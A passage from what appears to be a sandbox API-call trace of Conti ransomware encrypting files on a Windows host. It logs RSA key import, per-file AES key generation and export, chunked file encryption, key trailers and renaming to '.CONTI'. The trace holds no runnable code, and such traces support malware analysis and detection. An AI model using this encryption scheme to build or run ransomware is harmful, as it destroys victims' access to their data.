	[0116.671] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3b14000
	[0116.671] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.671] SetEndOfFile (hFile=0x3d8) returned 1
	[0116.672] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.672] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.672] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b4ebc4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6b4ebc4*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0116.674] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.674] ReadFile (in: hFile=0x3d8, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x500000, lpOverlapped=0x0) returned 1
	[0123.327] CryptEncrypt (in: hKey=0x6b7ea78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x500000, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x500000) returned 1
	[0123.334] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.334] WriteFile (in: hFile=0x3d8, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x500000, lpOverlapped=0x0) returned 1
	[0126.287] ReadFile (in: hFile=0x3d8, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x500000, lpOverlapped=0x0) returned 1
	[0128.962] CryptEncrypt (in: hKey=0x6b7ea78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x500000, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x500000) returned 1
	[0129.816] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.816] WriteFile (in: hFile=0x3d8, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x500000, lpOverlapped=0x0) returned 1
	[0131.677] ReadFile (in: hFile=0x3d8, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x500000, lpOverlapped=0x0) returned 1
	[0139.799] CryptEncrypt (in: hKey=0x6b7ea78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x500000, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x500000) returned 1
	[0139.806] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xa00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.806] WriteFile (in: hFile=0x3d8, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x500000, lpOverlapped=0x0) returned 1
	[0143.905] ReadFile (in: hFile=0x3d8, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x500000, lpOverlapped=0x0) returned 1
	[0143.950] CryptEncrypt (in: hKey=0x6b7ea78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x500000, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x500000) returned 1
	[0144.801] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xf00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.801] WriteFile (in: hFile=0x3d8, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x500000, lpOverlapped=0x0) returned 1
	[0147.562] ReadFile (in: hFile=0x3d8, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x500000, lpOverlapped=0x0) returned 1
	[0149.819] CryptEncrypt (in: hKey=0x6b7ea78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x500000, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x500000) returned 1
	[0149.825] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x1400000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.825] WriteFile (hFile=0x3d8, lpBuffer=0x107e0000, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0) 

Thread:
	id = 174
	os_tid = 0x12d8

	[0093.123] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0x10cf0000
	[0093.123] CryptAcquireContextA (in: phProv=0x587f8e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x587f8e0*=0x176c568) returned 1
	[0093.126] CryptImportKey (in: hProv=0x176c568, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x587f8dc | out: phKey=0x587f8dc*=0x175e7b0) returned 1
	[0093.126] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0093.362] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x17bf5a8 | out: phKey=0x17bf5a8*=0x175e430) returned 1
	[0093.362] CryptExportKey (in: hKey=0x175e430, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17bf5ac, pdwDataLen=0x587f8ac | out: pbData=0x17bf5ac*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0093.371] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20
	[0093.371] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.371] GetLastError () returned 0x0
	[0093.371] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=577) returned 1
	[0093.371] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x241
	[0093.371] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.371] SetEndOfFile (hFile=0x338) returned 1
	[0093.371] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.371] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.371] WriteFile (in: hFile=0x338, lpBuffer=0x17bf5ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x17bf5ac*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0093.373] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.373] ReadFile (in: hFile=0x338, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x241, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x241, lpOverlapped=0x0) returned 1
	[0093.373] CryptEncrypt (in: hKey=0x175e430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x241, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x250) returned 1
	[0093.373] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.373] WriteFile (in: hFile=0x338, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x250, lpOverlapped=0x0) returned 1
	[0093.373] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.373] WriteFile (in: hFile=0x338, lpBuffer=0x17bf5a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x17bf5a0*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0093.373] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.373] CloseHandle (hObject=0x338) returned 1
	[0093.374] GetProcessHeap () returned 0x1720000
	[0093.374] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d13f8
	[0093.374] lstrcpyW (in: lpString1=0x17d13f8, lpString2="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" | out: lpString1="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd"
	[0093.374] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd", lpString2=".CONTI" | out: lpString1="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.CONTI") returned="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.CONTI"
	[0093.374] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), lpNewFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.CONTI" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.conti")) returned 1
	[0093.375] GetProcessHeap () returned 0x1720000
	[0093.375] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d13f8 | out: hHeap=0x1720000) returned 1
	[0093.375] CryptDestroyKey (hKey=0x175e430) returned 1
	[0093.375] GetProcessHeap () returned 0x1720000
	[0093.375] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bc470 | out: hHeap=0x1720000) returned 1
	[0093.375] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0093.713] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x17c5348 | out: phKey=0x17c5348*=0x175e4b0) returned 1
	[0093.713] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c534c, pdwDataLen=0x587f8ac | out: pbData=0x17c534c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0093.720] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80
	[0093.720] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0093.720] GetLastError () returned 0x0
	[0093.720] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=72076) returned 1
	[0093.720] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1198c
	[0093.720] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.720] SetEndOfFile (hFile=0x348) returned 1
	[0093.720] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.720] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.720] WriteFile (in: hFile=0x348, lpBuffer=0x17c534c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x17c534c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0093.723] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.723] ReadFile (in: hFile=0x348, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x1198c, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x1198c, lpOverlapped=0x0) returned 1
	[0093.725] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x1198c, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x11990) returned 1
	[0093.725] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.725] WriteFile (in: hFile=0x348, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x11990, lpOverlapped=0x0) returned 1
	[0093.725] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.725] WriteFile (in: hFile=0x348, lpBuffer=0x17c5340*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x17c5340*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0093.726] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.726] CloseHandle (hObject=0x348) returned 1
	[0093.727] GetProcessHeap () returned 0x1720000
	[0093.727] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7750
	[0093.727] lstrcpyW (in: lpString1=0x17c7750, lpString2="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml"
	[0093.727] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.CONTI"
	[0093.727] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.conti")) returned 1
	[0093.728] GetProcessHeap () returned 0x1720000
	[0093.728] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7750 | out: hHeap=0x1720000) returned 1
	[0093.728] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0093.728] GetProcessHeap () returned 0x1720000
	[0093.728] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c2a10 | out: hHeap=0x1720000) returned 1
	[0093.728] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0094.141] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x17d4680 | out: phKey=0x17d4680*=0x175e630) returned 1
	[0094.141] CryptExportKey (in: hKey=0x175e630, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4684, pdwDataLen=0x587f8ac | out: pbData=0x17d4684*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0094.146] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80
	[0094.147] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.147] GetLastError () returned 0x0
	[0094.147] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=894) returned 1
	[0094.147] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x37e
	[0094.147] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.147] SetEndOfFile (hFile=0x34c) returned 1
	[0094.147] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.147] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.147] WriteFile (in: hFile=0x34c, lpBuffer=0x17d4684*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x17d4684*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0094.149] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.149] ReadFile (in: hFile=0x34c, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x37e, lpOverlapped=0x0) returned 1
	[0094.149] CryptEncrypt (in: hKey=0x175e630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x37e, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x380) returned 1
	[0094.149] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.149] WriteFile (in: hFile=0x34c, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x380, lpOverlapped=0x0) returned 1
	[0094.149] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.149] WriteFile (in: hFile=0x34c, lpBuffer=0x17d4678*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x17d4678*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0094.150] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.150] CloseHandle (hObject=0x34c) returned 1
	[0094.150] GetProcessHeap () returned 0x1720000
	[0094.150] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.151] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico"
	[0094.151] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.CONTI") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.CONTI"
	[0094.151] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.CONTI" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.conti")) returned 1
	[0094.151] GetProcessHeap () returned 0x1720000
	[0094.152] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.152] CryptDestroyKey (hKey=0x175e630) returned 1
	[0094.152] GetProcessHeap () returned 0x1720000
	[0094.152] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1733bb8 | out: hHeap=0x1720000) returned 1
	[0094.152] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0095.290] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x17d5d50 | out: phKey=0x17d5d50*=0x17c7eb0) returned 1
	[0095.290] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5d54, pdwDataLen=0x587f8ac | out: pbData=0x17d5d54*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0095.291] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20
	[0096.824] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0096.824] GetLastError () returned 0x0
	[0096.824] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=69632) returned 1
	[0096.824] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.824] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.824] SetEndOfFile (hFile=0x398) returned 1
	[0096.824] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.824] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.824] WriteFile (in: hFile=0x398, lpBuffer=0x17d5d54*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x17d5d54*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0096.825] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.826] ReadFile (in: hFile=0x398, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x11000, lpOverlapped=0x0) returned 1
	[0096.864] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x11000, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x11010) returned 1
	[0096.864] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.864] WriteFile (in: hFile=0x398, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x11010, lpOverlapped=0x0) returned 1
	[0096.865] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
